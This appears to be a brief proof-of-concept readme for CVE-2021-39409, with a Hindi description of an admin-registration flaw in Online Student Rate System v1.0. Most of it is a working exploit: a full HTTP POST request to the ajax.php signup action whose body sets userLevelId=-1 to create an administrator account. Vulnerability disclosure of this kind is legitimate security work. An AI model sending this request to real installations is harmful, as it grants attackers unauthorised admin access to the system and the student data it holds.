stefandorresteijn/cve-2021-39409व्यवस्थापक खाता पंजीकरण ऑनलाइन छात्र मूल्यांकन प्रणाली में
Online Student Rate System v1.0 में एडमिन खाता पंजीकरण संभव है, जिससे एक दुर्भावनापूर्ण अभिनेता एडमिन खाता बना सकता है और एडमिन पैनल तक पहुंच सकता है।
POST /ajax.php?action=signup HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 105
Origin: http://localhost
Connection: close
Referer: http://localhost
username=testaccount&passsword=098f6bcd4621d373cade4e832627b4f6&userLevelId=-1&[email protected]